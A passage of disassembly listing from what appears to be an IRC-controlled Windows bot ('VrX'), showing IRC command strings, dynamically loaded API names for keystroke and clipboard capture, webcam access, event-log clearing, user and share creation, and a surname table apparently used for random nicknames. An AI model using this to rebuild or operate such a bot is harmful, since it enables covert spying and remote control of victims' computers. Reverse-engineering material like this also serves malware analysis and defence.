aPart		db 'PART',0             ; DATA XREF: sub_401ACD+511o
					; sub_401ACD+5CDo
		align 10h
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4ECo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3CEo
		align 10h
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+5F1o
unk_42CD50	db    3			; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2E79o ...
a81VrxUserSLo_1	db '8,1-VrX- User %s logged out.',0
		align 10h
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7A88o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_417B76:loc_417BDEo
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3BBo ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_417B76+50o
		align 4
asc_42CDBC:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7B9Do
		unicode	0, <!>,0
asc_42CDC0:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E41o ...
		unicode	0, < >,0
asc_42CDC4	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_4025E6o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409909:loc_40A573o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409909+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409909+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409909+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409909+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409909+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409909:loc_40A4D5o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409909+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409909+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409909:loc_40A48Bo
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409909:loc_40A417o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409909+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409909:loc_40A3CDo
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409909:loc_40A383o
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409909+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo
					; sub_418AF1+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409909+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409909+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409909+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409909+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409909+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409909+984o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409909+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409909+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409909:loc_40A267o
					; sub_418AF1+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409909+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409909+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409909+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409909:loc_40A208o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409909+82Co
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409909:loc_40A0E8o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409909+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409909+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409909+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409909+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409909+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409909+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409909+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409909+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409909+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409909+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409909+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409909+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409909+60Ao
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_409909+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409909+5E3o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409909+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409909+5C9o
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_409909+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409909+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409909+5A2o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_409909+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409909+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409909+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409909+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409909+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409909+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409909+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409909+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409909+52Do
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409909+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409909+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409909+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409909+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409909+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409909+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409909+460o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409909+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409909:loc_409D36o
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409909:loc_409D0Eo
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409909+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409909+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409909+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409909+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409909:loc_409C60o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409909+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409909+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409909+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409909+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409909+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409909+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409909+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409909:loc_409B68o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409909+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409909+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409909+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409909+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409909+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409909+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409909+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409909+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409909+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409909:loc_409A3Eo
					; sub_425029+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409909+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409909+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409909+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409909+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409909+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409909+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409909+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409909+Ao
		align 4
unk_42D6C4	db  2Dh	; -		; DATA XREF: sub_40A5C5+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o
		align 10h
a_:					; DATA XREF: sub_41036B+252o
		unicode	0, <.>,0
unk_42D854	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A9E7o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42D884	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A9B5o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42D8B4	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A981o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D8D8	db  2Dh	; -		; DATA XREF: sub_40A928+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AA06+46o
					; sub_40C2AF+38o
aReal		db 'real',0
		align 4
		dd 0
dword_42D91C	dd 0			; DATA XREF: sub_40AE84+7o
off_42D920	dd offset sub_40AAAC	; DATA XREF: sub_40AE84+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AB19h, 7474656Ch, 7265h, 0
		dd 2, 40AB77h, 706D6F63h, 2 dup(0)
		dd 3, 40ABC4h, 6E756F63h, 797274h, 0
		dd 4, 40AC62h, 736Fh, 2	dup(0)
		dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0
		dd 6, 40AEEDh
off_42D99C	dd offset aAbdulrazak	; DATA XREF: sub_40AAAC+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D9A8	dd offset aAddison	; DATA XREF: sub_40AE84+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
